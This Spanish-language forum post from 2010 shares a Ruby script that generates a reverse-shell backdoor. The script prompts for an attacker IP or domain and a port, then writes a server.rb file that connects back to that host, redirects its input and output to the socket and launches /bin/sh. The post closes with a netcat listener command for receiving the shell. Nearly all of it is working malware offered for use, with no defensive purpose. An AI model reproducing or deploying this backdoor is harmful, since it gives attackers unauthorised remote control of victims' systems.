Underc0de

Programación Scripting => Ruby => Mensaje iniciado por: ANTRAX en Febrero 24, 2010, 04:20:55 PM

Título: Backdoor en Ruby - by sh4v
Publicado por: ANTRAX en Febrero 24, 2010, 04:20:55 PM
Código (ruby) [Seleccionar]
#Ruby Backdoor Server Maker
#N0t Group/RC Team
#Thanks to pRotos for the help.

puts "
___________________________________________________________

       -->RUBY BACKDOOR 0.1<--
___________________________________________________________"

print "Siga los pasos del asistente para configurar el servidor.\n"
print "Teclee la direcci?n IP o dominio no-IP al que desea que se conecte RUBY BACKDOOR 0.1\n"
ip=gets.chomp
print "Teclee a continuacion el puerto al que desea utilizar.\n"
port=gets.chomp
print "Espere un momento por favor, el servidor esta siendo procesado.............\n"
print "Procesando 25%.......................................\n"
print ".................Procesando 50%............................\n"
print ".................................Procesando 75%.................\n"
print ".................................................Procesando 100%\n"
print "Pulse la tecla <Enter> para continuar...\n"
ton=gets.chomp
fil=File.new("server", "w")
fil.write("require 'socket'
begin
sock=TCPSocket.new(\"#{ip}\", \"#{port}\")
rescue Errno::ECONNREFUSED
end
sock.print(\"####################CONEXION ESTABLECIDA###################\n\")
sock.print(\"\nTeclea <exit> para finalizar la conexion.\n\")
$stdout.reopen(sock)
$stdin.reopen(sock)
system('/bin/sh')
sock.print(\"\n####################CONEXION FINALIZADA####################\n\")")
fil.close
File.rename('server', 'server.rb')
print "Su servidor ha sido creado con exito. ;-)\n"


Nota: Para dejar el netcat a la escucha:


nc -vv -l -p 0000


Donde 0000 es el puerto que hay?is asignado previamente vosotros .

Saludos!